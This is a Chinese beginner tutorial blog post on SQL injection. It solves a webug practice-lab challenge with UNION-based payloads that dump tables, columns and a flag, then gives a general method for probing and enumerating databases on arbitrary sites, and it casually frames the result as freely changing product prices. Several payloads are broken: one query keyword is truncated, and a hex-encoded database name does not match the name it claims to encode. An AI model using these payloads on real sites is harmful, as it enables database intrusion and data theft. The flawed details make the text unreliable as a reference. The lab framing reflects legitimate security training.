黑客入门丨SQL注入攻击及思路延伸,webug靶场实战

Posted 安全犀牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了黑客入门丨SQL注入攻击及思路延伸,webug靶场实战相关的知识,希望对你有一定的参考价值。

(图片源于网络,侵删)

PS:假期前分享的webug靶场大家安装好了吧,我们来就着这些漏洞来一点点延伸学习吧。

关于SQL注入漏洞,我之前已经分享过一篇文章了。如果大家对这个概念不太了解的话,可以看一下这篇文章:

1


普通的get注入


下面我们开始解题。先过一遍流程,后面继续延伸。第一题,普通的get注入。说是普通的GET注入 那么就在gid这个参数下手。

黑客入门丨SQL注入攻击及思路延伸,webug靶场实战


输入:http://192.168.192.128/pentest/test/sqli/sqltamp.php?gid=1'  ,单引号报错 得到提示信息,需要闭合单引号来完成。

黑客入门丨SQL注入攻击及思路延伸,webug靶场实战


输入:http://192.168.192.128/pentest/test/sqli/sqltamp.php?gid=1' order by 5 --+,报错


黑客入门丨SQL注入攻击及思路延伸,webug靶场实战输入:http://192.168.192.128/pentest/test/sqli/sqltamp.php?gid=1' order by 4 --+,正常返回


黑客入门丨SQL注入攻击及思路延伸,webug靶场实战


下面开始爆表,输入:gid=-1' UNION SELECT 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+爆表成功


黑客入门丨SQL注入攻击及思路延伸,webug靶场实战


下面开始爆列,输入:gid=-1' UNION SELECT 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c6167 --+,爆列成功


黑客入门丨SQL注入攻击及思路延伸,webug靶场实战

下面开始查flag值,输入 :gid=-1' UNION SELE 1,2,3,group_concat(id,0x5e,flag) from flag --+  ,查询成功。


黑客入门丨SQL注入攻击及思路延伸,webug靶场实战

OK,这道题就算完成啦。你已经可以任意修改商品价格了,想买多少买多少。

2


SQL手工注入思路延伸


下面说一下SQL注入的一般思路,针对不同数据库,语句有所不同,但是思路大致相同


第一步判断网站是否存在注入:


如 www.xxx.com/news.php?id=10 这个网址,使用and 1=1,and 1=2 判断是否存在注入

还需要判断数据库类型,在网址后面加上单引号,看报错情况,如果显示Microsoft JET Database错误,则是Access数据库,如果显示ODBC类型,则是MSSQL数据库



如果这两种方法都不成功,就利用两种数据库的差异判断


1.www.xxx.com/news.php?id=10 and (select count (*) from sysobjects)>0

2.www.xxx.com/news.php?id=10 and (select count (*) from msysobjects)>0    


第一条语句如果返回正常,则说明是MSSQL数据库,这条语句是查询mssql数据库中表sysobject里的数据是否大于0,sysobject表是MSSQL、自带的表,所以这条查询语句正确,返回页面正常,这个表只有MSSQL数据库里才有,所以如果是ACCESS数据库就会报错。


第二条语句同理,msyobjects表是ACCESS数据库独有的,但是注意就算是ACCESS数据库,也会返回错误,因为普通用户没有权限访问,注意如果该语句报错是说没有权限,那就是ACCESS数据库 


总结就是,第一条语句返回正确,第二条语句返回错误,则是MSSQL数据库,两条语句都返回错误,而且错误类型不一样,则是ACCESS数据库。


判断数据库还有很多种方法,具体情况再考虑,还有很多不同的方法。具体如下:

查询数据库表的数目:order by 

爆字段位: and 1=2 union select 1,2,3.....n

利用内置函数暴数据库信息: version()   database()   user() 

mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息:

1.and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from 

2.information_schema.SCHEMATA limit 0,1 

查数据库名:select database()

Union select 1,database(),3,4,5 

查到数据库名称 假设为easy。 查数据库名为easy下面的表名 ( 注意数据库名称要用 16进制编码 如果easy的十六进制编码为0x66616E6B65) 则查询语句为:

union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65x

information_schema.tables:存储mysql数据库下面的所有表名信息的表 

table_schema: 数据库名 

Table_name: 表名

查user表名下的列名信息:

union select 1,column_name,3,4,5 from information_schema.columns where table_name=0x75736572

column_name:列名 
information_schema.columns :存储mysql数据库下面的所有列名信息的表

PS:完成撒花!求转发求鼓励!欢迎进群来撩!

安全犀牛
资讯、交流、入群点关注


以上是关于黑客入门丨SQL注入攻击及思路延伸,webug靶场实战的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入 -----(显错注入)

黑客常说SQL注入是什么?手把手入门白帽子

如何防范SQL注入漏洞及检测

XSS漏洞注入及靶场演示

实战经验分享丨记一次SQL注入题目的解题思路

网络安全从入门到放弃之SQL注入基本原理